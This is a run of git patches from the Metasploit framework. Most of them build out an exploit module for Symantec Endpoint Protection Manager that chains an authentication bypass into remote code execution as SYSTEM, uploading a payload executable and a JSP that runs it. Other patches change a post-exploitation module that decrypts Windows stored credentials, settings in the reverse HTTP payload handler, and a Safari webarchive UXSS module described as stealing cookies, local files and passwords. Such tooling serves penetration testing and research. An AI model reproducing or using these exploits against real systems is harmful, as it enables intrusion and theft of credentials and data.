Msf::Exploit::Remote super(update_info(info, 'Name' => "Symantec Endpoint Protection Manager Auth Bypass and RCE", 'Description' => %q{ - This module exploits two separate vulnerabilities in Symantec Endpoint Protection Manager - in order to achieve a remote shell on the box. + This module exploits three separate vulnerabilities in Symantec Endpoint Protection Manager + in order to achieve a remote shell on the box as NT AUTHORITY\SYSTEM }, 'License' => MSF_LICENSE, 'Author' => @@ -28,6 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2015-1486'], ['CVE', '2015-1487'], + ['CVE', '2015-1489'], ['URL', 'http://codewhitesec.blogspot.com/2015/07/symantec-endpoint-protection.html'] ], 'Payload' => { 'BadChars' => "\x0d\x0a\x00" }, @@ -41,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote } } ], ], - 'Privileged' => false, + 'Privileged' => true, 'DisclosureDate' => 'Jul 31 2015', 'DefaultTarget' => 0)) @@ -73,7 +74,9 @@ class Metasploit3 < Msf::Exploit::Remote cookie = res.get_cookies - exec = '<%=new java.util.Scanner(Runtime.getRuntime().exec(System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\'+meterp+'.exe").getInputStream()).useDelimiter("\\\\A").next()%>' + exec = %Q{<%@page import="java.io.*,java.util.*,com.sygate.scm.server.util.*"%> +<%=SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\#{meterp}.exe")) %> + } send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), From f7ceec36d0ea0c447b018a7df7665c2846bd81c5 Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sun, 2 Aug 2015 08:59:36 -0500 Subject: [PATCH 051/119] set default RPORT and SSL --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index a66b8a9fa8..a3804cd1aa 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -32,6 +32,9 @@ class Metasploit3 < Msf::Exploit::Remote ['URL', 'http://codewhitesec.blogspot.com/2015/07/symantec-endpoint-protection.html'] ], 'Payload' => { 'BadChars' => "\x0d\x0a\x00" }, + 'DefaultOptions' => { + 'SSL' => true + }, 'Platform' => 'win', 'Targets' => [ @@ -48,7 +51,7 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptBool.new('SSL', [true, 'Use SSL', true]), + Opt::RPORT(8443), OptString.new('TARGETURI', [true, 'The path of the web application', '/']), ], self.class) end From fe20bc88ad3222f9293981c57d38c5767af58b54 Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sun, 2 Aug 2015 11:37:06 -0500 Subject: [PATCH 052/119] remove badchars --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index a3804cd1aa..741b216e60 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2015-1489'], ['URL', 'http://codewhitesec.blogspot.com/2015/07/symantec-endpoint-protection.html'] ], - 'Payload' => { 'BadChars' => "\x0d\x0a\x00" }, + 'Payload' => { 'BadChars' => "" }, 'DefaultOptions' => { 'SSL' => true }, From a534008ba67bb00f0176b5633826278f0493ca20 Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sun, 2 Aug 2015 15:03:59 -0500 Subject: [PATCH 053/119] add some status lines --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index 741b216e60..5a3b39fe0e 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -61,6 +61,8 @@ class Metasploit3 < Msf::Exploit::Remote meterp = Rex::Text.rand_text_alpha(10) jsp = Rex::Text.rand_text_alpha(10) + print_status("Getting cookie") + res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', @@ -81,6 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote <%=SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\#{meterp}.exe")) %> } + print_status("Uploading payload...") send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', @@ -95,6 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote 'ctype' => '' }) + print_status("Uploading JSP page to execute the payload...") send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', @@ -109,6 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote 'ctype' => '' }) + print_status("Executing payload. Manual cleanup will be required.") send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{jsp}.jsp") }) From 830aee8aa5008689f51cc1bd963938f89d9f909a Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sun, 2 Aug 2015 15:22:40 -0500 Subject: [PATCH 054/119] check if cookie is actually returned, and if not, fail --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index 5a3b39fe0e..20516f8a20 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -79,6 +79,10 @@ class Metasploit3 < Msf::Exploit::Remote cookie = res.get_cookies + if not cookie || cookie == '' + fail_with(Failure::Unknown, 'The server did not return a cookie to use in the later requests.') + end + exec = %Q{<%@page import="java.io.*,java.util.*,com.sygate.scm.server.util.*"%> <%=SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\#{meterp}.exe")) %> } From a33724667c896b5341b850c3bf2844ab7b9fdfec Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sun, 2 Aug 2015 16:36:41 -0500 Subject: [PATCH 055/119] small code cleanup --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index 20516f8a20..63c4893eb1 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -5,11 +5,10 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, @@ -31,7 +30,6 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2015-1489'], ['URL', 'http://codewhitesec.blogspot.com/2015/07/symantec-endpoint-protection.html'] ], - 'Payload' => { 'BadChars' => "" }, 'DefaultOptions' => { 'SSL' => true }, @@ -57,7 +55,6 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - meterp = Rex::Text.rand_text_alpha(10) jsp = Rex::Text.rand_text_alpha(10) From 527eaea6ecc058fdaaa6c03a4cc3900309144aa7 Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sun, 2 Aug 2015 18:25:17 -0500 Subject: [PATCH 056/119] single quotes and some error handling --- .../windows/http/sepm_auth_bypass_rce.rb | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index 63c4893eb1..9ee34b77a0 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -84,8 +84,8 @@ class Metasploit4 < Msf::Exploit::Remote <%=SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\#{meterp}.exe")) %> } - print_status("Uploading payload...") - send_request_cgi({ + print_status('Uploading payload...') + res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', 'vars_get' => { @@ -99,8 +99,12 @@ class Metasploit4 < Msf::Exploit::Remote 'ctype' => '' }) + unless res && res.code == 200 + fail_with(Failure::Unknown, 'Server did not respond in an expected way') + end + print_status("Uploading JSP page to execute the payload...") - send_request_cgi({ + res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', 'vars_get' => { @@ -114,7 +118,11 @@ class Metasploit4 < Msf::Exploit::Remote 'ctype' => '' }) - print_status("Executing payload. Manual cleanup will be required.") + unless res && res.code == 200 + fail_with(Failure::Unknown, 'Server did not respond in an expected way.') + end + + print_status('Executing payload. Manual cleanup will be required.') send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{jsp}.jsp") }) From 06754c36a4346afacdb616f86a585bbd7431ad06 Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sun, 2 Aug 2015 18:51:23 -0500 Subject: [PATCH 057/119] unless, not if not --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index 9ee34b77a0..4e27acc1a1 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -76,7 +76,7 @@ class Metasploit4 < Msf::Exploit::Remote cookie = res.get_cookies - if not cookie || cookie == '' + unless cookie || cookie == '' fail_with(Failure::Unknown, 'The server did not return a cookie to use in the later requests.') end From 74ed8cf0c96a2b1d271ea64ec8555b5f154de9ec Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sun, 2 Aug 2015 18:57:13 -0500 Subject: [PATCH 058/119] actually that didn't work --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index 4e27acc1a1..06e9a54757 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -76,7 +76,7 @@ class Metasploit4 < Msf::Exploit::Remote cookie = res.get_cookies - unless cookie || cookie == '' + if cookie == nil || cookie == '' fail_with(Failure::Unknown, 'The server did not return a cookie to use in the later requests.') end From e141d1451c15d81ae985b788d498f8592a1c690d Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Mon, 10 Aug 2015 09:33:38 +1000 Subject: [PATCH 059/119] Fix calls to stage_payload --- lib/msf/core/payload/generic.rb | 26 ++++++------------- lib/msf/core/payload/stager.rb | 2 +- .../payload/windows/reflectivedllinject.rb | 2 +- .../windows/x64/reflectivedllinject.rb | 2 +- 4 files changed, 11 insertions(+), 21 deletions(-) diff --git a/lib/msf/core/payload/generic.rb b/lib/msf/core/payload/generic.rb index 91a288e599..0fda6c7757 100644 --- a/lib/msf/core/payload/generic.rb +++ b/lib/msf/core/payload/generic.rb @@ -20,23 +20,13 @@ module Payload::Generic def initialize(info = {}) super(merge_info(info, 'Arch' => ARCH_ALL - [ARCH_TTY], - 'Platform' => '')) + 'Platform' => '' + )) - register_advanced_options( - [ - OptString.new('PLATFORM', - [ - false, - "The platform that is being targeted", - nil - ]), - OptString.new('ARCH', - [ - false, - "The architecture that is being targeted", - nil - ]) - ], Msf::Payload::Generic) + register_advanced_options([ + OptString.new('PLATFORM', [false, "The platform that is being targeted", nil]), + OptString.new('ARCH', [false, "The architecture that is being targeted", nil]) + ], Msf::Payload::Generic) end # @@ -103,8 +93,8 @@ module Payload::Generic # Stager overrides # - def stage_payload - redirect_to_actual(:stage_payload) + def stage_payload(*args) + redirect_to_actual(:stage_payload, *args) end def stage_offsets diff --git a/lib/msf/core/payload/stager.rb b/lib/msf/core/payload/stager.rb index 574e3ef6ae..9d61ab3dce 100644 --- a/lib/msf/core/payload/stager.rb +++ b/lib/msf/core/payload/stager.rb @@ -88,7 +88,7 @@ module Msf::Payload::Stager # Can be nil if the final stage is not pre-assembled. # # @return [String,nil] - def stage_payload + def stage_payload(opts = {}) return module_info['Stage']['Payload'] end diff --git a/lib/msf/core/payload/windows/reflectivedllinject.rb b/lib/msf/core/payload/windows/reflectivedllinject.rb index 50139c1e4f..b740201d30 100644 --- a/lib/msf/core/payload/windows/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/reflectivedllinject.rb @@ -70,7 +70,7 @@ module Payload::Windows::ReflectiveDllInject ^ end - def stage_payload + def stage_payload(opts = {}) # Exceptions will be thrown by the mixin if there are issues. dll, offset = load_rdi_dll(library_path) diff --git a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb index 0194d902d3..4a747a7359 100644 --- a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb @@ -71,7 +71,7 @@ module Payload::Windows::ReflectiveDllInject_x64 ^ end - def stage_payload + def stage_payload(opts = {}) # Exceptions will be thrown by the mixin if there are issues. dll, offset = load_rdi_dll(library_path) From 6e684d46f28363fb917fc5d0b2f1d51f9e2fc649 Mon Sep 17 00:00:00 2001 From: Alex Watt <alexcwatt@gmail.com> Date: Mon, 10 Aug 2015 12:07:29 -0400 Subject: [PATCH 060/119] Ensure exceptions don't interfere with `busy` --- lib/rex/ui/text/dispatcher_shell.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/rex/ui/text/dispatcher_shell.rb b/lib/rex/ui/text/dispatcher_shell.rb index faa889eecb..c925e843a4 100644 --- a/lib/rex/ui/text/dispatcher_shell.rb +++ b/lib/rex/ui/text/dispatcher_shell.rb @@ -426,6 +426,7 @@ module DispatcherShell else dispatcher.send('cmd_' + method, *arguments) end + ensure self.busy = false end From 76f6312fab9e490a8588232fd7e6cd67eab02be4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 10 Aug 2015 15:15:51 -0500 Subject: [PATCH 061/119] Fix #3916 Support 64 bits targets on enum_cred_store --- .../gather/credentials/enum_cred_store.rb | 35 ++++++++++++------- 1 file changed, 23 insertions(+), 12 deletions(-) diff --git a/modules/post/windows/gather/credentials/enum_cred_store.rb b/modules/post/windows/gather/credentials/enum_cred_store.rb index 0b0ff2ba4f..b81974452c 100644 --- a/modules/post/windows/gather/credentials/enum_cred_store.rb +++ b/modules/post/windows/gather/credentials/enum_cred_store.rb @@ -176,13 +176,18 @@ class Metasploit3 < Msf::Post adv32 = session.railgun.advapi32 ret = adv32.CredEnumerateA(nil,0,4,4) p_to_arr = ret["Credentials"].unpack("V") - arr_len = ret["Count"] * 4 if is_86 - arr_len = ret["Count"] * 8 unless is_86 + if is_86 + count = ret["Count"] + arr_len = count * 4 + else + count = ret["Count"] & 0x00000000ffffffff + arr_len = count * 8 + end #tell user what's going on - print_status("#{ret["Count"]} credentials found in the Credential Store") + print_status("#{count} credentials found in the Credential Store") return credentials unless arr_len > 0 - if ret["Count"] > 0 + if count > 0 print_status("Decrypting each set of credentials, this may take a minute...") #read array of addresses as pointers to each structure @@ -193,24 +198,29 @@ class Metasploit3 < Msf::Post #loop through the addresses and read each credential structure pcred_array.each do |pcred| cred = {} - raw = read_str(pcred, 52,2) + if is_86 + raw = read_str(pcred, 52, 2) + else + raw = read_str(pcred, 80, 2) + end + cred_struct = raw.unpack("VVVVQ<VVVVVVV") if is_86 cred_struct = raw.unpack("VVQ<Q<Q<Q<Q<VVQ<Q<Q<") unless is_86 cred["flags"] = cred_struct[0] cred["type"] = cred_struct[1] - cred["targetname"] = read_str(cred_struct[2],512, 1) - cred["comment"] = read_str(cred_struct[3],256, 1) + cred["targetname"] = read_str(cred_struct[2], 512, 1) + cred["comment"] = read_str(cred_struct[3], 256, 1) cred["lastdt"] = cred_struct[4] cred["persist"] = cred_struct[7] cred["attribcnt"] = cred_struct[8] cred["pattrib"] = cred_struct[9] - cred["targetalias"] = read_str(cred_struct[10],256, 1) - cred["username"] = read_str(cred_struct[11],513, 1) + cred["targetalias"] = read_str(cred_struct[10], 256, 1) + cred["username"] = read_str(cred_struct[11], 513, 1) - if cred["targetname"].include? "TERMSRV" - cred["password"] = read_str(cred_struct[6],cred_struct[5],0) + if cred["targetname"].include?('TERMSRV') + cred["password"] = read_str(cred_struct[6], cred_struct[5], 0) elsif cred["type"] == 1 - decrypted = decrypt_blob(cred_struct[6],cred_struct[5], 1) + decrypted = decrypt_blob(cred_struct[6], cred_struct[5], 1) cred["username"] = decrypted.split(':')[0] || "No Data" cred["password"] = decrypted.split(':')[1] || "No Data" elsif cred["type"] == 4 @@ -218,6 +228,7 @@ class Metasploit3 < Msf::Post else cred["password"] = "unsupported type" end + #only add to array if there is a target name unless cred["targetname"] == "Error Decrypting" or cred["password"] == "unsupported type" print_status("Credential sucessfully decrypted for: #{cred["targetname"]}") From 53e747ce2e986fa6dfbcb72784f3db0d8013c7a8 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 12 Aug 2015 15:35:03 -0500 Subject: [PATCH 062/119] added infer_vuln_from_session to other valid case MSP-13064 --- lib/msf/core/db_manager/session.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index fff0140739..455d482cc7 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -98,6 +98,7 @@ module Msf::DBManager::Session run: session.exploit.user_data[:run], state: 'succeeded', ) + infer_vuln_from_session(session, wspace) elsif session.via_exploit # This is a live session, we know the host is vulnerable to something. infer_vuln_from_session(session, wspace) From 01b3ae2dd88778fbfed14b4dd8d85165ec15a405 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 12 Aug 2015 15:43:16 -0500 Subject: [PATCH 063/119] Revert "added infer_vuln_from_session to other valid case" This reverts commit 53e747ce2e986fa6dfbcb72784f3db0d8013c7a8. --- lib/msf/core/db_manager/session.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index 455d482cc7..fff0140739 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -98,7 +98,6 @@ module Msf::DBManager::Session run: session.exploit.user_data[:run], state: 'succeeded', ) - infer_vuln_from_session(session, wspace) elsif session.via_exploit # This is a live session, we know the host is vulnerable to something. infer_vuln_from_session(session, wspace) From 790356bac80405215c2bdf9d1e22f6b476da48fb Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Wed, 12 Aug 2015 15:45:37 -0500 Subject: [PATCH 064/119] add infer_vuln_from_session to other valid case MSP-13065 --- lib/msf/core/db_manager/session.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index fff0140739..455d482cc7 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -98,6 +98,7 @@ module Msf::DBManager::Session run: session.exploit.user_data[:run], state: 'succeeded', ) + infer_vuln_from_session(session, wspace) elsif session.via_exploit # This is a live session, we know the host is vulnerable to something. infer_vuln_from_session(session, wspace) From e9203060b0e16b2ab4c68a1bc526217b53907347 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 12 Aug 2015 16:20:14 -0500 Subject: [PATCH 065/119] Allow the hostname and port to be overridden, necessary for complex NAT setups --- lib/msf/core/handler/reverse_http.rb | 24 ++++++++++++++++++------ 1 file changed, 18 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 51ed995647..74324df75e 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -55,7 +55,9 @@ module ReverseHttp OptString.new('MeterpreterServerName', [false, 'The server header that the handler will send in response to requests', 'Apache']), OptAddress.new('ReverseListenerBindAddress', [false, 'The specific IP address to bind to on the local system']), OptInt.new('ReverseListenerBindPort', [false, 'The port to bind to on the local system if different from LPORT']), - OptBool.new('OverrideRequestHost', [false, 'Forces clients to connect to LHOST:LPORT instead of keeping original payload host', false]), + OptBool.new('OverrideRequestHost', [false, 'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT', false]), + OptString.new('OverrideLHOST', [false, 'When OverrideRequestHost is set, use this value as the host name for secondary requests']), + OptPort.new('OverrideLPORT', [false, 'When OverrideRequestHost is set, use this value as the port number for secondary requests']), OptString.new('HttpUnknownRequestResponse', [false, 'The returned HTML response body when the handler receives a request that is not from a payload', '<html><body><h1>It works!</h1></body></html>']), OptBool.new('IgnoreUnknownPayloads', [false, 'Whether to drop connections from payloads using unknown UUIDs', false]) ], Msf::Handler::ReverseHttp) @@ -89,13 +91,23 @@ module ReverseHttp # # @return [String] A URI of the form +scheme://host:port/+ def payload_uri(req) - if req and req.headers and req.headers['Host'] and not datastore['OverrideRequestHost'] + callback_host = nil + + # Extract whatever the client sent us in the Host header + if req and req.headers and req.headers['Host'] callback_host = req.headers['Host'] - elsif Rex::Socket.is_ipv6?(datastore['LHOST']) - callback_host = "[#{datastore['LHOST']}]:#{datastore['LPORT']}" - else - callback_host = "#{datastore['LHOST']}:#{datastore['LPORT']}" end + + # Override these host and port as appropriate + if datastore['OverrideRequestHost'] || callback_host.nil? + callback_name = datastore['OverrideLHOST'] || datastore['LHOST'] + callback_port = datastore['OverrideLPORT'] || datastore['LPORT'] + if Rex::Socket.is_ipv6? callback_name + callback_name = "[#{callback_name}]" + end + callback_host = "#{callback_name}:#{callback_port}" + end + "#{scheme}://#{callback_host}/" end From 6e75db090f1b13217cfe0f808dc5506d43f09d94 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 12 Aug 2015 21:11:48 -0500 Subject: [PATCH 066/119] Fix comment --- lib/msf/core/handler/reverse_http.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 74324df75e..6a92c6e416 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -98,7 +98,7 @@ module ReverseHttp callback_host = req.headers['Host'] end - # Override these host and port as appropriate + # Override the host and port as appropriate if datastore['OverrideRequestHost'] || callback_host.nil? callback_name = datastore['OverrideLHOST'] || datastore['LHOST'] callback_port = datastore['OverrideLPORT'] || datastore['LPORT'] From 84144bf6cf9650f83511771290b2d639b35ac895 Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Thu, 13 Aug 2015 23:27:48 -0500 Subject: [PATCH 067/119] Update webarchive_uxss to use the webarchive mixin. - Fixes extension installation to use a new window, not an iframe - Steals the entire cookie file - Removes cache poisoning scripts, which no longer seem to work --- .../gather/apple_safari_webarchive_uxss.rb | 864 +----------------- 1 file changed, 44 insertions(+), 820 deletions(-) diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb index fa826e67d2..b62865e0ff 100644 --- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb +++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb @@ -4,28 +4,24 @@ ## require 'msf/core' +require 'msf/core/exploit/format/webarchive' require 'uri' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Format::Webarchive include Msf::Auxiliary::Report - # [Array<Array<Hash>>] list of poisonable scripts per user-specified URLS - attr_accessor :scripts_to_poison - def initialize(info = {}) super(update_info(info, - 'Name' => 'Apple Safari .webarchive File Format UXSS', + 'Name' => 'Mac OS X Safari .webarchive File Format UXSS', 'Description' => %q{ - This module exploits a security context vulnerability that is inherent - in Safari's .webarchive file format. The format allows you to - specify both domain and content, so we can run arbitrary script in the - context of any domain. This allows us to steal cookies, file URLs, and saved - passwords from any website we want -- in other words, it is a universal - cross-site scripting vector (UXSS). On sites that link to cached javascripts, - we can additionally poison user's browser cache and install keyloggers. + Generates a .webarchive file for Mac OS X Safari that will attempt to + inject cross-domain Javascript (UXSS), silently install a browser + extension, collect user information, steal the cookie database, + and steal arbitrary local files. }, 'License' => MSF_LICENSE, 'Author' => 'joev', @@ -34,785 +30,51 @@ class Metasploit3 < Msf::Auxiliary ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/04/25/abusing-safaris-webarchive-file-format'] ], 'DisclosureDate' => 'Feb 22 2013', - 'Actions' => - [ - [ 'WebServer' ] - ], - 'PassiveActions' => - [ - 'WebServer' - ], + 'Actions' => [ [ 'WebServer' ] ], + 'PassiveActions' => [ 'WebServer' ], 'DefaultAction' => 'WebServer')) - - register_options( - [ - OptString.new('FILENAME', [ true, 'The file name.', 'msf.webarchive']), - OptString.new('URLS', [ true, 'A space-delimited list of URLs to UXSS (eg http://rapid7.com http://example.com']), - OptString.new('URIPATH', [false, 'The URI to receive the UXSS\'ed data', '/grab']), - OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarchive.', '/msf.webarchive']), - OptString.new('URLS', [ true, 'The URLs to steal cookie and form data from.', '']), - OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal.', '']), - OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing.", true]), - OptBool.new('STEAL_FILES', [true, "Enable local file stealing.", true]), - OptBool.new('INSTALL_KEYLOGGERS', [true, "Attempt to poison the user's cache with a javascript keylogger.", true]), - OptBool.new('STEAL_FORM_DATA', [true, "Enable form autofill stealing.", true]), - OptBool.new('ENABLE_POPUPS', [false, "Enable the popup window fallback method for stealing form data.", true]) - ], - self.class) end def run - if should_install_keyloggers? - print_status("Fetching URLs to parse and look for cached assets...") - self.scripts_to_poison = find_cached_scripts + if datastore["URIPATH"].blank? + datastore["URIPATH"] = "/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6) end + print_status("Creating '#{datastore['FILENAME']}' file...") file_create(webarchive_xml) - print_status("Running WebServer...") - start_http - end - - def cleanup - super - # clear my resource, deregister ref, stop/close the HTTP socket - begin - @http_service.remove_resource(collect_data_uri) - @http_service.deref - @http_service.stop - @http_service.close - @http_service = nil - rescue - end - end - - # - # Ensures that gzip can be used. If not, an exception is generated. The - # exception is only raised if the DisableGzip advanced option has not been - # set. - # - def use_zlib - if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true) - fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!") - end - end - - # - # Handle the HTTP request and return a response. Code borrorwed from: - # msf/core/exploit/http/server.rb - # - def start_http(opts={}) - # Ensture all dependencies are present before initializing HTTP - use_zlib - - comm = datastore['ListenerComm'] - if (comm.to_s == "local") - comm = ::Rex::Socket::Comm::Local - else - comm = nil - end - - # Default the server host / port - opts = { - 'ServerHost' => datastore['SRVHOST'], - 'ServerPort' => datastore['SRVPORT'], - 'Comm' => comm - }.update(opts) - - # Start a new HTTP server - @http_service = Rex::ServiceManager.start( - Rex::Proto::Http::Server, - opts['ServerPort'].to_i, - opts['ServerHost'], - datastore['SSL'], - { - 'Msf' => framework, - 'MsfExploit' => self, - }, - opts['Comm'], - datastore['SSLCert'] - ) - - @http_service.server_name = datastore['HTTP::server_name'] - - # Default the procedure of the URI to on_request_uri if one isn't - # provided. - uopts = { - 'Proc' => Proc.new { |cli, req| - on_request_uri(cli, req) - }, - 'Path' => collect_data_uri - }.update(opts['Uri'] || {}) - - proto = (datastore["SSL"] ? "https" : "http") - print_status("Data capture URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") - - if (opts['ServerHost'] == '0.0.0.0') - print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") - end - - # Add path to resource - @service_path = uopts['Path'] - @http_service.add_resource(uopts['Path'], uopts) - - # Add path to download - uopts = { - 'Proc' => Proc.new { |cli, req| - resp = Rex::Proto::Http::Response::OK.new - resp['Content-Type'] = 'application/x-webarchive' - resp.body = @xml.to_s - cli.send_response resp - }, - 'Path' => webarchive_download_url - 